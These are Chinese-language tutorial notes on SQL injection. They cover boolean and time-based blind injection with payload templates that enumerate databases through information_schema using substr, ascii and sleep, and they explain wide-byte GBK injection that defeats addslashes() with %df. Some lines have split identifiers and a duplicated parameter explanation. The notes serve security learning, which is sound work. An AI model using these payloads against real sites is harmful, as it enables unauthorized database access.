布尔盲注
1.布尔盲注利用前提
页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入
缺点:速度太慢,消耗大量时间
布尔盲注思维导图:
布尔盲注常用语句:
substr(string,num start,num length)
string 为字符串
string 为字符串
length 为长度
ascii( )函数
作用:返回字符串str的字符ASCII码值。如果str是空字符串,返回0.如果string是 NULL,返回NULL。
布尔盲注利用过程
布尔盲注过程代码模板:
(select
count(schema_name) from information_schema.sc hemata)> n
n为数据库个数,当数据库个数大于n页面显示正常
(select
length(schema_name) from information_schema.s chemata limit 0,1)> n
该语句判断数据库内第一个数据库名有多少字符,大于n则页面显示正常
(select
ascii(substr((select schema_name from informa tion_schema.schemata limit 0,1),
1,
1)))>105
ascii()将返回字符串的ascii值
第一个1,表示截取字符串的起始位置
第二个1,表示截取字符串长度
该语句作用:判断第一个库第一个字符是什么
时间盲注
时间盲注利用前提条件:
页面上没有显示位,也没有输出SQL语句执行错误信息。 正 确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条 件之后,页面的返回速度明显慢了5秒。
时间盲注常用函数:
IF(判断语句,A,B)
如果判断语句为真,则返回A
为假则返回B
一般和布尔盲注语句配合使用:
if(ascii(substr(“payload”, 1, 1))=104, sleep(5), 1)
如果第一个,号前的语句成立,则页面返回速度慢5秒
不成立,页面立即返回
时间盲注过程:
if((select count(schema_name) from information_schema. schemata)=9,sleep(5),1) //判断数据库个数
if((select length(schema_name) from information_schem a.schemata limit 0,1)=18,sleep(5),1)
if((select ascii(substr((select schema_name from info rmation_schema.schemata limit 0,1),1,1)))=105,sleep(5),1)//判断 第一个库第一个字符
宽字节注入
宽子节注入只有在,服务器页面代码中使用了gbk编码等汉字编码方式时才有效。
通常,当页面源代码中使用了 addslashes( )函数对用户输入的参数进行过滤,并且使用的是字符串查询的方式时。那么前面我们介绍的几种SQL注入方式就都不能用了
这种情况下如果页面使用的不是utf-8之类的编码方式,而用的是汉字编码方式gbk等,我们就可以使用宽子节注入。
addslashes() 函数
函数返回在预定义字符之前添加反斜杠的字符串
预定义字符:
单引号(')
双引号(")
反斜杠(\)
NULL
宽字节注入原理
mysql_query(“SET NAMES ‘gbk’”,$conn)语句将数据库编码字符集修改为 GBK格式。此时,%df\‘对应的编码就是 %df%5c’,即汉字“ 運‘ ”,这样 单引号之前的转义符号“\”就被吃掉了,单引号就逃逸出来,从而转义失败
通常我们在做测试时,只要加上在预定义字符前%df 就可以了